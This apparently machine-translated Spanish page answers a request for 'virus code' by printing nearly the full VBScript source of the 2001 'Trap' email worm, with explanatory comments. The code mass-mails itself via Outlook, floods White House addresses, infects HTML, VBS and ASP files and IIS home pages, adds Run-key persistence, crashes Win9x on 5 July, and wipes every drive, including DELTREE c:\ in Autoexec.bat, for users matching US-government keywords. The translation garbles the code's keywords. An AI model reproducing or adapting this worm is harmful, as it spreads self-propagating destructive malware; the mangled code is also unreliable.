Dame un código de virus en lenguaje C... para copiar... cuanto más largo, mejor

La siguiente es una divulgación detallada del proceso de aparición y el código fuente de la "trampa".

El virus tiene sus propias capacidades de cifrado (utilizando tecnología de codificación JavaScript), lo que hace imposible que los usuarios comunes vean el código original del virus, pero no hay cifrado en el archivo VBS infectado, por lo que como entrada Punto, puedo obtener fácilmente todo el código fuente.

'@ ¡gracias! utiliza a otra persona para deshacerte de un enemigo, trampa _2001

'Esta frase puede significar "matar con un cuchillo prestado", seguida del nombre. del virus" Trap"

en error reanudar siguiente

dim vbscr, fso,w1,w2,MSWKEY,HCUW,Code_Str, Vbs_Str, Js_Str

dim defpath, smailc, MAX_SIZE

dim whb(), title(10)

smailc = 4

Redim whb(smailc) 'Lista de correo de personal relacionado con la Casa Blanca

whb(0) = "president@whitehouse.gov"

whb(1) = "vice.president@whitehouse.gov "

whb(2 ) = "first. lady@whitehouse.gov"

whb(3) = "mrs.cheney@whitehouse.gov"

'Asunto del envío del correo electrónico

title(0) = "¡Gracias por ayudarme!"

title(1) = "La policía está investigando el robo"

title(2) = "una solicitud para un job"

title(3) = "Los aspectos de un proceso de solicitud pertinentes a OSI"

title(4) = "Qué clima tan agradable. ¿Por qué no salir a caminar? ?"

title(5) = "Estos países han pasado por demasiadas guerras"

title(6) = "Hemos fijado el 17 de abril para la boda"

title(7) = "El viento amainó y el mar volvió a la calma."

title(8) = "¡la sesión está abierta!"

title(9 ) = ""

defpath = "C:\Readme.html" ' Archivo de virus

MAX_SIZE = 100000 ' Define el tamaño máximo del archivo infectado

MSWKEY = "HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Windows\"

HCUW = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"

principal

sub main() 'Programa principal

en caso de error, reanudar siguiente

dim w_s

w_s= WScript.ScriptFullName 'Obtiene la ruta del archivo del virus

si w_s = "" entonces

Err.Clear

set fso = CreateObject

("Scripting.FileSystemObject") 'Crear objeto de sistema de archivos

si getErr entonces 'Identificar estado del virus

Aleatorizar 'Inicializar semilla aleatoria

ra = int(rnd () * 7) 'Generar números aleatorios

doucment.write title(ra) 'Escribir contenido aleatorio

ExecuteMail 'Ejecutar el programa en el estado de correo

else

ExecutePage 'Ejecuta el programa en el estado de la página WEB

end if

else

ExecuteVbs 'Ejecuta el programa en el VBS estado del archivo

end if

end sub

La función getErr() ignora el error

si Err.number<>0 entonces

getErr=true

Err.Clear

else

getErr=false

finalizar si

función final

sub ExecutePage() 'Estado del programa en la página WEB

en caso de error, reanudar siguiente

dim Html_Str, adi, wdf, wdf2,wdf3, wdsf, wdsf2, vf

Vbs_Str = GetScriptCode("vbscript") 'Obtener código VBScript

Js_Str = GetJavaScript() 'Obtener código JavaScript

Code_Str = MakeScript (encrypt (Vbs_str), true) 'Obtener el código script cifrado

Html_Str = MakeHtml(encrypt(Vbs_str), true) 'Obtener el código HTML completo cifrado

Gf

'Definir la ruta del archivo de virus

wdsf = w2 & "Mdm.vbs"

wdsf2 = w1 & "Profile.vbs"

wdf = w2 & "user.dll" ' Tenga en cuenta que los archivos wdf y wdf3 son muy confusos

wdf2 = w2 & "Readme.html"

wdf3 = w2 & "system. dll"

'Crear archivo de virus

set vf = fso.OpenTextFile (wdf, 2, true)

vf.write Vbs_Str

vf.close

set vf = fso.OpenTextFile (wdsf, 2, true)

vf.write Vbs_Str

vf.close

set vf = fso.OpenTextFile (wdsf2, 2, true)

vf.Write Vbs_Str

vf.close

set vf = fso.OpenTextFile ( wdf2, 2, verdadero)

vf.write Html_Str

vf.close

set vf = fso.OpenTe

xtFile (wdf3, 2, true)

vf.write Code_Str

vf.close

Modifica el registro para que el archivo de virus se ejecute automáticamente cada vez que se la computadora inicia

Writereg MSWKEY & "CurrentVersion\Run\Mdm", wdsf, ""

Writereg MSWKEY & "CurrentVersion\RunServices\Profile", wdsf2, ""

SendMail 'Ejecuta el programa para enviar correo

Hackpage 'Ejecuta el programa para infectar el sitio web

establece adi = fso.Drives

para cada x en adi

si x.DrivesType = 2 o x.DrivesType = 3 entonces 'Recorre todos los discos duros locales y los discos duros compartidos en red

llama a SearchHTML(x & "\") ' Ejecute el programa de infección de archivos

p>

finalizar si

siguiente

si TestUser y luego 'Verificar usuario

Eliminar a realizar la operación de eliminación de archivos

else

else

p>

if Mes(Fecha) y Día(Fecha) = "75" entonces 'Si la hora del sistema es el 5 de julio

set vf = fso.OpenTextFile(w2 & "75.htm" , 2,true) 'Crear archivo de ataque al sistema

vf.write MakeScript ("window.navigate ('c: /con/con');", false)

vf. close

Writereg MSWKEY & "CurrentVersion\Run\75", w2 & "75.htm", "" ' Autostart

window.navigate "c:/con/con" 'La pantalla azul inmediata, usando el ERROR de Windows, puede causar un bloqueo del 100% del sistema Win9X (es decir, una pantalla azul irrecuperable)

else 'Si no es 7.5

si fso.FileExists(w2 & "75 .htm") entonces fso.DeleteFile w2 & "75.htm" ' Eliminar 75.htm

end if

end if

if fso.FileExists( defpath) luego fso.DeleteFile defpath 'Eliminar archivo de virus C:\Readme.html

end sub

sub ExecuteMail() 'Programa ejecutado cuando el estado del correo

en error se reanuda a continuación

Vbs_Str = GetScriptCode("vbscript")

Js_Str = GetJavaScript()

Set Stl = CreateObject("Scriptlet.TypeLib") 'Crear objeto TypeLib

con Stl

.Reset

.Path = defpath

.Doc = MakeHtml(encrypt(Vbs_str), true)

.Write

() 'Crear archivo C:\Readme.html

finalizar con

window.open defpath, "trap", "ancho=1 alto=1 barra de menú=sin barras de desplazamiento=sin barra de herramientas =no" Abrir una ventana oculta

end sub

sub ExecuteVbs() 'De manera similar, si el archivo de virus es VBS, el programa se ejecutará

en error reanudar siguiente

dim x, adi, wvbs, ws, vf

set fso = CreateObject("Scripting.FileSystemObject")

set wvbs = CreateObject( "WScript.Shell")

Gf

wvbs.RegWrite MSWKEY & "Windows Scripting Host\Setings\Timeout", 0, "REG_DWORD"

establecer vf = fso.OpenTextFile (w2 & "system.dll", 1)

Code_Str = vf.ReadAll()

vf.close

Hackpage

SendMail

establezca adi = fso.Drives

para cada x en adi

si x.DrivesType = 2 o x.DrivesType = 3 entonces

llamar a SearchHTML(x & "\")

finalizar si

siguiente

si TestUser y luego Killhe

end sub

sub Gf() 'Obtener la ruta del sistema

w1=fso.GetSpecialFolder(0) & "\"

w2=fso.GetSpecialFolder ( 1) & "\"

end sub

función Readreg(key_str) 'Leer el registro

set tmps = CreateObject("WScript.Shell")

Readreg = tmps.RegRead(key_str)

set tmps = Nada

finalizar función

función Writereg(key_str, Newvalue, vtype ) 'Escribe el registro

set tmps = CreateObject("WScript.Shell")

if vtype="" entonces

tmps.RegWrite key_str, Newvalue

p>

else

tmps.RegWrite key_str, Newvalue, vtype

end if

set tmps = Nothing

función final

función MakeHtml(Sbuffer, iHTML) 'Código completo para crear archivo HTML

dim ra

Aleatorio

Aleatorizar

p>

ra = int(rnd() * 7)

MakeHtml="<" & "HTML><" & "HEAD><" & "TITLE>" & título(ra) & "<" & "/HEAD>" & _

"" & vbcrlf & MakeScript(Sbuffer, iHTML) & vbcrlf & _

"<" & "/BOAD><" & "/HTML>"

función final

función MakeScript(Codestr, iHTML) 'Este programa es un virus que se realiza solo El proceso de cifrado es más complicado y no se describirá nuevamente

si es iHTML entonces

dim DocuWrite

DocuWrite = "document.write('<' +" & "' SCRIPT Language=JavaScript>\n'+" & _

"jword" & "+'\n');"

DocuWrite = DocuWrite & vbcrlf & "document.write('<'+" & "'SCRIPT Language=VBScript>\n'+" & _

"nword" & "+'\ n');"

MakeScript="<" & "SCRIPT Language=JavaScript>" & vbcrlf & "var jword = " & _

chr(34 ) & encrypt(Js_Str) & chr(34) & vbcrlf & "var nword = " & _

chr(34) & Codestr & chr(34) & vbcrlf & "nword = unescape(nword); " & vbcrlf & _

"jword = unescape(jword);" & vbcrlf & DocuWrite & vbcrlf & ""

else);

MakeScript= "<" & "SCRIPT Language=JavaScript>" & Codestr & ""

finalizar si

finalizar función

función GetScriptCode(Languages) ' Obtiene los códigos de diferentes lenguajes de escritura

dim soj

para cada soj en document.scripts

si

LCase(soj.Language) = Idiomas entonces

si Idiomas = "javascript" entonces

si len(soj.Text)>200 entonces

else

else

p>

GetScriptCode = soj.Text

salir de la función

finalizar si

else

GetScriptCode = soj.Text

p>

función de salida

finalizar si

finalizar si

siguiente

función final

función GetJavaScript()

GetJavaScript = GetScriptCode("javascript")

función final

función TestUser() 'Detectar proceso de usuario

en caso de error, reanudar siguiente

teclas atenuadas(6), i, tmpStr, Wnet

'Palabras clave de usuario específicas

keys(0) = "casa blanca"

keys(1) = "agencia central de inteligencia"

keys(2) = " bush"

keys(3) = "bolsa de valores americana"

keys(2) = "bush"

keys(3) = "bolsa de valores americana "

p>

keys(4) = "director ejecutivo"

keys(5) = "usa"

TestUser = false

Set Wnet = CreateObject ("WScript.Network") 'Crear objeto de red

' Los siguientes tres bucles tienen la misma función, que es verificar si el dominio del usuario, el nombre de usuario y el nombre de la computadora contiene las cinco palabras clave anteriores. Una vez incluido, el programa devolverá la condición "verdadera", eliminando así frenéticamente los archivos de estos usuarios.

tmpStr = LCase(Wnet.UserName) '

para i=0 a 4

si InStr(tmpStr, claves(i)) > 0 entonces

TestUser=true

salir de la función

finalizar si

siguiente

tmpStr = LCase(Wnet.ComputerName)

para i=0 a 4

si InStr(tmpStr, claves(i)) > 0 entonces

TestUser=true

función de salida

finalizar si

siguiente

tmpStr = LCase(Wnet.UserDomain)

para i=0 a 4

si InStr(tmpStr, teclas(i)) >0 entonces

TestUser=true

salir de la función

finalizar si

siguiente

Establecer Wnet = Nada

función final

función SendMail() 'Proceso de envío de archivo

en caso de error, reanudar siguiente

dim wab,ra,j, Oa, arrsm, eins, Eaec, fm, wreg, areg,at

'Primero envíe un archivo cifrado que pueda infectar directamente la libreta de direcciones de OutLook. código de virus y archivos adjuntos HTML

El tema es aleatorio, este proceso es similar a "Happy Hour", por lo que no se describirá nuevamente

Aleatorio

en =fso.GetSpecialFolder(1) & "\Readme.html"

set Oa = CreateObject("Outlook.Application")

set wab = Oa.GetNameSpace("MAPI")

para j = 1 a wab.AddressLists.Count

eins = wab.AddressLists(j)

wreg=Readreg (HCUW y eins)

si (wreg="") entonces wreg = 1

Eaec = eins.AddressEntries.Count

si (Eaec > Int(wreg)) entonces

para x = 1 a Eaec

arrsm = wab.AddressEntries(x)

areg = Readreg(HCUW & arrsm)

if (areg = "") luego

establecer fm = wab.CreateItem(0)

con fm

ra = int(rnd() * 7)

.Destinatarios.Añadir arrsm

.Asunto = título(ra)

.Cuerpo = título(ra)

.Adjuntos en

.Enviar

Escribir

reg HCUW & arrsm, 1, "REG_DWORD"

terminar con

terminar si

siguiente

terminar si

Writereg HCUW & eins, Eaec, ""

next

'Lo siguiente es un envío incondicional de una gran cantidad de correos electrónicos de virus a usuarios específicos. Desde este punto, podemos. Veamos que el autor del virus tiene una profunda preocupación por el gobierno de Estados Unidos de extrema insatisfacción.

para j = 1 a smailc

arrsm = whb(j)

set fm = wab.CreateItem(0)

ra = int(rnd() * 7)

con fm

.Recipients.Add arrsm

.Subject = title(ra)

.Body = title(ra)

.Enviar

finalizar con

siguiente

set Oa = Nada

window.setTimeout "SendMail()", 5000 'Repetir envío cada 5 segundos

finalizar función

sub SearchHTML(Path) 'El proceso de búsqueda de archivos infecciosos

p>

en caso de error, reanudar siguiente

dim pfo, psfo, pf, ps, pfi, text

if instr(Path, fso.GetSpecialFolder(2)) > 0 luego salga de sub

si Ruta <> "E:\" luego salga de sub

set pfo = fso.GetFolder(Path)

set psfo = pfo. Subcarpetas

para cada ps en psfo

SearchHTML(ps.Path)

establezca pf = ps.Files

para cada pfi en pf

ext = LCase(fso.GetExtensionName(pfi.Path))

if instr(ext, "htm") > 0 o text = "plg" o text = "asp " luego 'Compruebe si la extensión del archivo es htm, html, plg. Si es así, compruebe si está infectado. Si no, inserte el código del virus cifrado en el encabezado del archivo. De esta manera, una vez que se ejecute el archivo, el El código de virus se ejecutará y no afectará la ejecución normal del archivo original.

if Code_Str<>"" entonces AddHead pfi.Path, pfi, 1

elseif ext= "vbs" luego 'Si es un archivo vbs, inserte un código de virus no cifrado

AddHead pfi.Path,pfi, 2

end if

siguiente

siguiente

end sub

sub Killhe() 'Eliminación completa de archivos

en caso de error, reanudar a continuación

dim codeText, ko,adi, kd, kh, ks,kf,kfs

codeText = "@ECHO OFF" & vbcrlf & "PATH " & w1 & "COMMAND" & vbcrlf &_

"DELTREE c:\" 'Inserte el comando para eliminar la unidad C en Autoexec .bat, todo el disco duro se eliminará la próxima vez que encienda la computadora, sin ningún aviso

set ko = fso.OpenTextFile("C:\Autoexec.bat", 8, true)

ko .Escribe vbcrlf y codeText

ko.Close

'Luego elimina inmediatamente todos los archivos en otros discos

set adi = fso. Unidades

para cada x en adi

si x.DrivesType = 2 entonces

establezca kd = fso.GetFolder(x & "\")

establecer kfs = kd.Files

para cada kf en kfs

kf.Delete

siguiente

establecer ks = kd.SubFolders

para cada kh en ks

kh.Delete

siguiente

fin si

siguiente

do while 1 'Dejar que el sistema se bloquee inmediatamente

window.open ""

bucle

end sub

sub Hackpage() ' this El proceso consiste en atacar directamente la página de inicio del servidor Mircosoft IIS

dim fi

H = "C:\InetPut\wwwroot"

si fso.FolderExists(H) entonces

'Determine si es un sitio web. Si es así, inserte el código de virus cifrado en el encabezado del archivo, infectando así directamente a los usuarios que navegan por el sitio web

.

set fi = fso.GetFile(H & "\index.htm")

AddHead H & "\index.htm",fi,1

end if

end sub

sub AddHead(Path, f, t) 'Este proceso es el proceso específico de archivos de infección de virus

en caso de error, se reanuda a continuación

dim tso, buffer,sr

si f.size > MAX_SIZE entonces salga de sub 'Infectar archivos de menos de 100K de tamaño

set tso = fso.OpenTex

tFile(Ruta, 1, verdadero)

búfer = tso.ReadAll()

tso.close

si (t = 1) entonces

si UCase(Left(LTrim(buffer), 7)) <> "

establezca tso = fso.OpenTextFile(Path, 2, true)

tso.Write Code_Str & vbcrlf & buffer 'Insertar en el encabezado del archivo

tso.close

end if

else

if mid( buffer, 3, 2) <> "'@" entonces

tso.close

sr=w2 & "user.dll"

if fso.FileExists (sr) luego fso.CopyFile sr, Ruta

end if

end if

end sub

Aunque el día del ataque del virus ya pasado Pero todavía hay que tener cuidado y estar atentos a la aparición de variantes del virus.